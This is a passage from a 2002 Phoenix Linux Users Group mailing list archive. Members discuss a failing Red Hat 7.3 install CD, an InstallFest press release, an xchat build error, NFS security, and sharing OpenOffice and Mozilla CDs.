sucessfully did a floppy boot install with RH7.2 on this > same computer. > > I made an install boot floppy that starts up fine but when the > install gets to the point of reading the CD, it fails. It attempts > to spin up several times for several minutes and eventually fails. > > > I am assuming this is a bad CD that works OK for booting but not for > floppy installs. That puzzles me, however, because I would think > that boot from CD or floppy would use most of the same files on the > CD at the point the floppy install fails. Anyone else have any > hints here? Do I need to go buy some new CDs? > > Alan > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write > mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 16:23:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 5 Jun 2002 09:23:18 -0700 Subject: RH7.3 disc fails on floppy boot install In-Reply-To: References: Message-ID: <200206050923.28647.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 05 June 2002 07:57 am, alandd@mindspring.com wrote: > I have a set of RH7.3 CDs that have been successfully used on two > computers and at least one other by someone else. My successes have been > with computers that were able to boot off the CD and install from there. > > I have another computer that does not have the brains to boot from the > CD. I successfully did a floppy boot install with RH7.2 on this same > computer. > > I made an install boot floppy that starts up fine but when the install > gets to the point of reading the CD, it fails. It attempts to spin up > several times for several minutes and eventually fails. > > I am assuming this is a bad CD that works OK for booting but not for > floppy installs. That puzzles me, however, because I would think that > boot from CD or floppy would use most of the same files on the CD at the > point the floppy install fails. Anyone else have any hints here? Do I > need to go buy some new CDs? I have seen this behavior quite a bit on my systems, and I would have to say that the CD-ROM is bad. Although a bit rare with pressed CDs, this behavior is much more prevalent among burnt ones. I also can't tell you if getting new CDs will help at all since I have never been able to find out what exact propert of the disc causes the CD-ROM to fail. Essentially, it knows there is something there but can't read the disk (similar to what the new audio CD copy prevention does intentionally). Okay, the above doesn't make sense, but I am not about to retype it. Summary? Either do the network install (which is really easy if you already have a network card) or buy a new CD-ROM (which is really cheap). Good luck! PS: Your problems might have something to do with a failing power supply, as well. I know in at least one out of the 3 "bad" CD-ROM drives I owned, the problem was fixed by dropping in a new PSU. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8/jr7pNoctRtUIRQRAustAJ9JvX7WonvSSPmRfQVmubZ5BXcnFACfQAr0 ZXekffMi23HKjntNmnfS+fQ= =lcRu -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 16:44:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Wed, 5 Jun 2002 09:44:40 -0700 Subject: Old computers available In-Reply-To: <20020604174319.A87199@lilly.csoft.net> Message-ID: Mike, thanks for the offer. I'm heading out to pick up some hardware from Matt. Right now I'm looking for some monitors of either 15" or 17". Please PM to mberkwitt@REMOVEcox.net. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Mike Sent: Tuesday, June 04, 2002 3:43 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available If Matt's well is dry I will donate 3 of mine for your cause. On Tue, Jun 04, 2002 at 03:20:09PM -0700, Mark Berkwitt wrote: Matt, I could use 4 or 5 for a woman's recovery center in Prescott Arizona. They'd be used for Internet use, creating resumes and individual writing. This center is a licensed nonprofit org which can provide donation receipts. Thanks. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:37 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available On Mon, 3 Jun 2002, Shawn Rutledge wrote: > Sounds OK to me. > > Do they have CD's floppies or anything else interesting? > What kind of video and network cards? Passive heatsinks or > fans? (Interesting for embedded use...) Ah, I forgot to mention that these do not have cdrom drives. Most are missing floppy drives. All have video cards that work with Linux (I'm too lazy to check the exact brand right now) and 10Mb network cards. The CPUs have fans. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:05:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 13:05:56 -0400 Subject: Sending out press release - LAST CALL! Message-ID: Not a problem with the press release but the web site. Quoting the press release: "The event will be held from 10:00 a.m. to 4:00 p.m. in the College's Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). " I may have missed it but I don't see a link to a map anywhere on the site or the installfest site. We better get one up. Alan From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:32:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 10:32:11 -0700 Subject: xchat compile In-Reply-To: <20020605042704.4eb0208f.snoogans@qwest.net>; from snoogans@qwest.net on Wed, Jun 05, 2002 at 04:27:04AM -0700 References: <20020605042704.4eb0208f.snoogans@qwest.net> Message-ID: <20020605103211.A27101@nadesico> On Wed, Jun 05, 2002 at 04:27:04AM -0700, robert jorgenson wrote: > okay it appears that if i want to have the tint transparency option available(and i do :> ) i am going top have to compile xchat from source. I untar/unzip the files cd to the directory, ./configure all is well no errors at all, i type make and get this ... > > chimera:/home/bob/xchat-1.8.9# make > make all-recursive > make[1]: Entering directory `/home/bob/xchat-1.8.9' > Making all in po > make[2]: Entering directory `/home/bob/xchat-1.8.9/po' > file=./`echo ca | sed 's,.*/,,'`.gmo \ > && rm -f $file && PATH=../src:$PATH -o $file ca.po > /bin/sh: -o: command not found > make[2]: *** [ca.gmo] Error 127 > make[2]: Leaving directory `/home/bob/xchat-1.8.9/po' > make[1]: *** [all-recursive] Error 1 > make[1]: Leaving directory `/home/bob/xchat-1.8.9' > make: *** [all-recursive-am] Error 2 > chimera:/home/bob/xchat-1.8.9# > > First thing i did was check to see if /bin/sh was there, it wasn't so i apt-get that and try again same thing. As lame as it sounds this litle option is something i would really like, if someone could help me out with this i would appreciate it, thanks in advance :) Looks to me like the Makefile isn't setting $(CC) properly. Check the toplevel Makefile to see if it's redefining it to something bizarre. Since it's an autoconf configure script, you'll likely have to edit the po/Makefile and all other subdirectory's Makefiles as well. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:39:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 5 Jun 2002 10:39:57 -0700 Subject: Sending out press release - LAST CALL! In-Reply-To: <200206042041.00712.dennisk@sahuaro.f2s.com> References: <0206041951240Z.00730@nova.wedge.org> <200206042041.00712.dennisk@sahuaro.f2s.com> Message-ID: <02060510395710.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I can easily put a link to a map of SCC when I update PlugPresents web site. I bet Vic can do the same for the Plug web site. Kimi has made available an email address (installfest@unitywave.com). Do we want to use this instead of contact@plug.phoenix.az.us? If we do, we obviously change the Press Release and let Kimi know who to forward the mail from that address to. On Tuesday 04 June 2002 20:41, you wrote: > This includes suggestions from hans and Bill Lindley. Also, I've removed > quotes around "Open Source" and "Free Software" which I thought > unneccessary and too M$-like as in the Myrth of "free software." > > I plan to go to press on Thurday latest unless there are any show stoppers. > > Dennis > =========================================================== > FOR IMMEDIATE RELEASE > > LOCAL USERS GROUP OFFERS FREE GNU/LINUX INSTALLATION HELP > > On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the > public to a "GNU/Linux InstallFest" at Scottsdale Community College. > Attendees will receive expert help in installing Linux, a freely available > operating system, on their personal computers. > > After the InstallFest, users who brought their computers along can in many > cases go home with working systems installed on their machines, free of > charge. The package includes web browsers, word processors, and other usual > tools that computer users expect. > > PLUG's organizer for the event is William Lindley, a computer consultant. > "This is what the Free Software community is all about - helping each > other, and we'll be helping folks get started," Lindley explained. "We're > all looking forward to this InstallFest." > > The software is an alternative to Windows and other proprietary systems. > Linux, GNU, FreeBSD and other Open Source and Free Software systems do not > require any licensing or upgrade fees, and are said by many experts to be > more efficient and secure than Windows systems. > > Businesses and home users alike are turning to Free Software which can be > freely copied, modified, or examined, and which is considered by computer > experts to be more robust and secure than proprietary systems. > > Though there is no charge, the term Free Software actually refers to > freedom from license restrictions: Users are never asked to click "I Agree" > to a list of prohibitions before using it, and organizations need not store > "Certificates of Authenticity" in their safe deposit boxes in case of an > audit. > > The Free Software products are available at no charge through the Internet > or as an inexpensive distribution at most local computer stores, but the > InstallFest offers users a completed installation by experienced Linux and > FreeBSD administrators. Computer users are invited to bring their computers > to the event. Usually, only the computer box, monitor, keyboard and mouse > need be brought - see the PLUG web page for details. > > "Your old operating system can remain as an alternative, or we can replace > it entirely," Lindley said, "depending on your plans for the machine and > how much disk space you have to spare." > > "This is a important next step in development of computers and the Internet > -- making them more affordable and more secure," Lindley said. "We are here > to show how easy it can be for computer users to move up to the next > level." > > The event will be held from 10:00 a.m. to 4:00 p.m. in the College's > Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is > available online at PLUG's web site, ( http://plug.phoenix.az.us ). > > PLUG members will be available to answer questions about Linux, Open Source > software, and the Phoenix Linux Users Group as well. > > For more information about the InstallFest, email > contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 > > PLUG is an informal group that holds several monthly meetings, on both the > East and West sides of Phoenix, to talk about what they've recently done > with Linux, GNU and Open Source software; to share problems and solutions, > and to discuss issues in the world of Free Software and computers in > general. Knowledge of Linux is neither presumed nor required. Between > meetings, PLUG members stay in touch through a busy e-mail discussion list. > > More information about PLUG can be found on the website at > http://plug.phoenix.az.us/ . > > Scottsdale Community College offers two year degree programs in many > disciplines including computers, arts, and science. SCC also offers > university transfer programs and special interest courses, and has hosted > several Free Software events. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP5M7isk3ywszI1FEQKs2ACfbAQIoNLreTuipqO7gn5BXnUBpaIAn3gD Ty1C4MmPX0Bqc2akVDdN+aDv =1Rl1 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:38:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Simper, Brian D) Date: Wed, 5 Jun 2002 10:38:38 -0700 Subject: Building an RPM Message-ID: Do any of you have a recommended reference for building an RPM file? I have the book "Maximum RPM" but it is dated 1997 and I suspect that there may be some new information somewhere out there Any suggestions? Thanks, Brian From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:49:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 5 Jun 2002 10:49:14 -0700 (MST) Subject: RH7.3 disc fails on floppy boot install In-Reply-To: <200206050923.28647.voltage_spike@fastmail.fm> Message-ID: Most older CDROM drives have difficulties with CDR discs. If it's an old CDROM drive that's giving you the problem - generally a 4x or lower drive - trade it out for a newer model and see whether that helps. \\/ http://www.wlindley.com p.s., Would y'all say it's an accepted protocol to use "disc" for optical media (CDs, WORMs, laserdiscs) and "disk" for magnetic media (floppy disks, hard disks)? From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 18:07:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 14:07:16 -0400 Subject: RH7.3 disc fails on floppy boot install Message-ID: Disc == optical media Disk == magnetic media This is not only the accepted protocol but is the correct uses of the spelling. Alan On Wed, 5 Jun 2002 10:49:14 -0700 (MST) William Lindley wrote: Most older CDROM drives have difficulties with CDR discs. If it's an old CDROM drive that's giving you the problem - generally a 4x or lower drive - trade it out for a newer model and see whether that helps. \/ http://www.wlindley.com p.s., Would y'all say it's an accepted protocol to use "disc" for optical media (CDs, WORMs, laserdiscs) and "disk" for magnetic media (floppy disks, hard disks)? ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 18:05:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 5 Jun 2002 11:05:50 -0700 Subject: RH7.3 disc fails on floppy boot install In-Reply-To: References: Message-ID: <200206051105.50399.voltage_spike@fastmail.fm> On Wednesday 05 June 2002 10:49 am, William Lindley wrote: > p.s., Would y'all say it's an accepted protocol to use "disc" for optical > media (CDs, WORMs, laserdiscs) and "disk" for magnetic media (floppy > disks, hard disks)? I do, although I don't know why . . . -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:11:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 5 Jun 2002 13:11:10 -0700 Subject: Open Office 1.0 for Linux and Windows Message-ID: <02060513111011.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Looking for a copy of OO for Linux and Windows on a CD so that I dont have to spend the next week downloading it over a 56K connection. Anyone have them? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 GmQK3OKjzE1aggpT4D6E2B7H =m9Qk -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:23:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 5 Jun 2002 13:23:50 -0700 (PDT) Subject: Contact for installfest In-Reply-To: <02060513111011.00730@nova.wedge.org> Message-ID: <20020605202350.55136.qmail@web13904.mail.yahoo.com> I greatly apologize for asking this, since the answer has already been stated, but who do we contact about being able to help at the installfest? mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:26:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 13:26:17 -0700 (PDT) Subject: Open Office 1.0 for Linux and Windows In-Reply-To: <02060513111011.00730@nova.wedge.org> Message-ID: I do. Stop by New Vision to pick it up. On Wed, 5 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Looking for a copy of OO for Linux and Windows on a CD so that I dont have to > spend the next week downloading it over a 56K connection. Anyone have them? > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 > GmQK3OKjzE1aggpT4D6E2B7H > =m9Qk > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:32:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 5 Jun 2002 13:32:24 -0700 (PDT) Subject: NFS and security In-Reply-To: <02060513111011.00730@nova.wedge.org> Message-ID: <20020605203224.49960.qmail@web13907.mail.yahoo.com> In the near future I am going to be connecting two linux boxes together, workstation to file server. The only way I know of to do this is to use NFS. However, everytime I read something about NFS it states how insecure it is. Is there a way to do this that is more secure than NFS, or are there procedures to make NFS more secure? They will connect to the internet shortly after being set-up, so I am concerned about the security issue. mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:42:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 16:42:07 -0400 Subject: Open Office 1.0 for Linux and Windows Message-ID: I have such a CD. I will bring a copy to next meeting or we can make other arrangements. Alan On Wed, 5 Jun 2002 13:11:10 -0700 Jim wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Looking for a copy of OO for Linux and Windows on a CD so that I dont have to spend the next week downloading it over a 56K connection. Anyone have them? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 GmQK3OKjzE1aggpT4D6E2B7H =m9Qk -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:40:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 13:40:54 -0700 (PDT) Subject: NFS and security In-Reply-To: <20020605203224.49960.qmail@web13907.mail.yahoo.com> Message-ID: Hopefully they're not directly connected to the Internet. Setup a firewall/router between your boxes and the Internet to block all incoming connections initiated from the outside, and you should be fine. ~M On Wed, 5 Jun 2002, MCR wrote: > In the near future I am going to be connecting two > linux boxes together, workstation to file server. The > only way I know of to do this is to use NFS. However, > everytime I read something about NFS it states how > insecure it is. Is there a way to do this that is > more secure than NFS, or are there procedures to make > NFS more secure? They will connect to the internet > shortly after being set-up, so I am concerned about > the security issue. > mike > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:35:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Mandala) Date: 05 Jun 2002 13:35:18 -0700 Subject: NFS and security In-Reply-To: <20020605203224.49960.qmail@web13907.mail.yahoo.com> References: <20020605203224.49960.qmail@web13907.mail.yahoo.com> Message-ID: <1023309321.1570.3.camel@CX868974-C> NFS over ssh is possible, check google for a link On Wed, 2002-06-05 at 13:32, MCR wrote: > In the near future I am going to be connecting two > linux boxes together, workstation to file server. The > only way I know of to do this is to use NFS. However, > everytime I read something about NFS it states how > insecure it is. Is there a way to do this that is > more secure than NFS, or are there procedures to make > NFS more secure? They will connect to the internet > shortly after being set-up, so I am concerned about > the security issue. > mike > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:36:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 13:36:48 -0700 (PDT) Subject: Open Office 1.0 for Linux and Windows In-Reply-To: <02060513111011.00730@nova.wedge.org> Message-ID: Speaking of which... I could probably burn a bunch of CDs with OO for Linux and Windows and have them available at the InstallFest. On Wed, 5 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Looking for a copy of OO for Linux and Windows on a CD so that I dont have to > spend the next week downloading it over a 56K connection. Anyone have them? > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 > GmQK3OKjzE1aggpT4D6E2B7H > =m9Qk > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 21:04:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 5 Jun 2002 14:04:23 -0700 (MST) Subject: Contact for installfest In-Reply-To: <20020605202350.55136.qmail@web13904.mail.yahoo.com> Message-ID: On Wed, 5 Jun 2002, MCR wrote: > who do we contact about being able to help at the installfest? wlindley@wlindley.com This should be somewhere on the PLUG page if it isn't already. \\/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 21:17:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 14:17:25 -0700 Subject: Open Office 1.0 for Linux and Windows In-Reply-To: <02060513111011.00730@nova.wedge.org> References: <02060513111011.00730@nova.wedge.org> Message-ID: <1023311845.3cfe7fe590635@webmail.freedom2surf.net> Quoting Jim : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Looking for a copy of OO for Linux and Windows on a CD so that I dont have to > > spend the next week downloading it over a 56K connection. Anyone have > them? > - -- > Jim > Why don't you ask the PLUG CD Service for one? Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:36:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 5 Jun 2002 16:36:16 -0400 (EDT) Subject: InstallFest Tips? Message-ID: Unfortunately, I'm going to be out of town or I would lend a hand with the InstallFest. I'd be happy to chip in some burns of distros or OpenOffice if that would help. In July I'm going to get together with half a dozen friends from my office who want to try Linux for the first time. Would it be possible for those of you who will be at the InstallFest to keep track of any major problems or successes, so I can try to avoid the former and capitalize on the latter? Might even turn into a handy guide for people to use when introducing Linux to their office or their children's school. I'm thinking along the lines of, "would've been easier if we'd had a bigger hub," or "having OpenOffice was a big hit because it let people see how they can use Linux to do what they're doing on Windows." Sort of a post-mortem. ------------------------------------------------------------------- "This time around, everything not forbidden is mandatory." "...Congress is willing to butcher the $600 billion tech industry to feed the $35 billion entertainment sector..." http://www.eff.org/blogs/bpdg/ ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:05:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 15:05:55 -0700 (PDT) Subject: Mozilla 1.0 anyone? Message-ID: If anyone can get a copy of Mozilla 1.0 to me, I'll setup a site for people to download it. Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:14:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 15:14:00 -0700 (PDT) Subject: Mozilla 1.0 "Mirror" In-Reply-To: Message-ID: If anyone is interested, you can download the source, the RH 7.x RPMs, and the Win32 version at: http://plug.netpro.to/mozilla/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:17:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Wed, 05 Jun 2002 15:17:05 -0700 Subject: Open Office 1.0 for Linux and Windows Message-ID:

Yes.......Please do.

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Speaking of which... I could probably burn a bunch of CDs with OO for
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From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:24:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 15:24:00 -0700 (PDT) Subject: Open Office 1.0 for Linux and Windows In-Reply-To: Message-ID: I'll also throw Mozilla 1.0 for Linux and Windows on the CD as well. ~M On Wed, 5 Jun 2002, Jeff James wrote: > > Yes.......Please do. > > From: Matt Alexander > Reply-To: plug-discuss@lists.plug.phoenix.az.us > To: > Subject: Re: Open Office 1.0 for Linux and Windows > Date: Wed, 5 Jun 2002 13:36:48 -0700 (PDT) > Speaking of which... I could probably burn a bunch of CDs with OO for > Linux and Windows and have them available at the InstallFest. > On Wed, 5 Jun 2002, Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Looking for a copy of OO for Linux and Windows on a CD so that I dont have to > > spend the next week downloading it over a 56K connection. Anyone have them? > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 > > GmQK3OKjzE1aggpT4D6E2B7H > > =m9Qk > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > _____________________________________________________________________________________________________________________________________________________________ > Join the world’s largest e-mail service with MSN Hotmail. Click Here > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and > you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:45:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 15:45:47 -0700 Subject: Open Office 1.0 for Linux and Windows In-Reply-To: ; from theothercomputerguy@hotmail.com on Wed, Jun 05, 2002 at 03:17:05PM -0700 References: Message-ID: <20020605154547.A28211@nadesico> On Wed, Jun 05, 2002 at 03:17:05PM -0700, Jeff James wrote: Dunno about anybody else, but this text is unreadable to me. HTML attachments don't come across email well -- especially when the email doesn't have a plaintext attachment. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:02:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 5 Jun 2002 16:02:49 -0700 (MST) Subject: InstallFest Tips? In-Reply-To: Message-ID: Am 05. Jun, 2002 schwätzte Robert Bushman so: > ------------------------------------------------------------------- > "This time around, everything not forbidden is mandatory." > "...Congress is willing to butcher the $600 billion tech industry > to feed the $35 billion entertainment sector..." > http://www.eff.org/blogs/bpdg/ > ------------------------------------------------------------------- $35 billion? industry vs. sector? A couple of films this year have made over $100 million in the opening weekend. Spider Man has over $300 million in the .us thus far. Hell, film, tv, music, and sports all probably top $35 billion on their own. Granted, there's a lot of cross-over because sports get a lot of the money from tv, but I find it hard to believe that the 'entertainment sector' is only $35 billion. They're also the only sector that hasn't been reducing salaries or having massive layoffs. Wouldn't it be great to see a bunch of the baseball teams have to layoff 7 or 8 players mid-season? :) Coach ( to GM ): But we have to have 9 players on the field. GM: Well, you're just gonna have to find a way to make do. Remember, we expect no loss in productivity or quality... ciao, der.hans -- # https://www.LuftHans.com/ # I'm not anti-social, I'm pro-individual. - der.hans From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:54:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 5 Jun 2002 15:54:56 -0700 Subject: OO CD Message-ID: <02060515545614.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thanks to Matt, I have a CD - thanks also to everyone else who offered to help me out. I think it would be superb to be able to install OO 1.0.x and zilla 1.0.x at the Install Fest. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 